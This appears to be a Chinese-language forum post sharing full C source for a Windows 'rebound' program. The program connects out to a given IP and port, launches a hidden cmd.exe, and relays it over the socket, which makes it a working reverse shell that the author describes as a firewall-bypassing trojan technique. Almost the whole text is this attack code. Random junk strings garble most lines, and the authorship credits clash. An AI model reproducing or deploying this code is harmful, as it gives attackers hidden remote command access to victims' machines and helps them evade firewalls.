这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w]b,7QuNz
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/* ============================== :A
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Rebound port in Windows NT ?bZovRx
By wind,2006/7 \!vN
===============================*/ gWABY%!}
#include v~3B:k:?l
#include 3f" %G\
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#pragma comment(lib,"wsock32.lib") UJfT!= =U
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void OutputShell(); n\Fp[9+Z\
SOCKET sClient; &AVpLf:?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RIu~ @
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void main(int argc,char **argv) )#|<w9uec
{ p.}Ls)I
WSADATA stWsaData; ]5~s"fnG
int nRet; \!IMaB]
SOCKADDR_IN stSaiClient,stSaiServer; _lzyMEdr
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if(argc != 3) >Rvx[`|O!m
{ JO=[YoTr
printf("Useage:\n\rRebound DestIP DestPort\n"); |(moWY=
return; IK,|5] *Ar
} :j|IP)-f
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6S6f\gAM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^ -FX
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stSaiClient.sin_family = AF_INET; 7 n]65].t
stSaiClient.sin_port = htons(0); Uv
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8[r9HC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [7(-T?_
{ O }9KJU
printf("Bind Socket Failed!\n"); }X
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return; 3nT
Z)L }
} lis/`B\x
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stSaiServer.sin_family = AF_INET; h)~=Dm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qk!;M|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +`7KSwa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N#lDW~e'
{ 'r(1Nj
printf("Connect Error!"); e%8|<g+n6
return; DD" $1o"
} 0 a]/%y3V
OutputShell(); ??TMSH
} ^c~)/F/cF
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void OutputShell() %WqNiF0-
{ {`2R,Jb%S
char szBuff[1024]; E?(xb B
SECURITY_ATTRIBUTES stSecurityAttributes; H|cNH=
OSVERSIONINFO stOsversionInfo; 85EQ5yY
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,-x!$VqS
STARTUPINFO stStartupInfo; OD']:
char *szShell; 1B),A~Ip
PROCESS_INFORMATION stProcessInformation; tXJUvish
unsigned long lBytesRead; y_xnai
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8|E'>+ D_-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XLMb=T~S
stSecurityAttributes.lpSecurityDescriptor = 0; s1|/S\
stSecurityAttributes.bInheritHandle = TRUE; q+B&orp
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PtqJ*Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @EE."T9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); olLfko4$*V
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qY\f'K}Q*
stStartupInfo.wShowWindow = SW_HIDE; -v6M<
stStartupInfo.hStdInput = hReadPipe; x `V;Y]7'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n$xQ[4eH)
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GetVersionEx(&stOsversionInfo); L
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switch(stOsversionInfo.dwPlatformId) CK,
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{ e#/E~r&
case 1: .9O$G2'oh
szShell = "command.com"; &rkEK4
break; p4V eRJk%
default: N'xSG`,Mg
szShell = "cmd.exe"; (E]!Z vE
break; A(]H{>PMy
} jqr1V_3(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gm9mg*aM
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send(sClient,szMsg,77,0); i-yy/y-N
while(1) t>8XTqqi
{ Scv#zuv_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iAa;6mH
if(lBytesRead) "`6n6r42
{ (H+'X}1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \.mI
send(sClient,szBuff,lBytesRead,0); Qp`gswvE
} U-n;xX0=
else 5q"ON)x
{ DWdW, xG
lBytesRead=recv(sClient,szBuff,1024,0); };'\~g,1
if(lBytesRead<=0) break; nC{%quwh{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xq"Jy=4Q*
} #97h6m?
} Fs[aa#v4B
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return; &~CY]PN.
}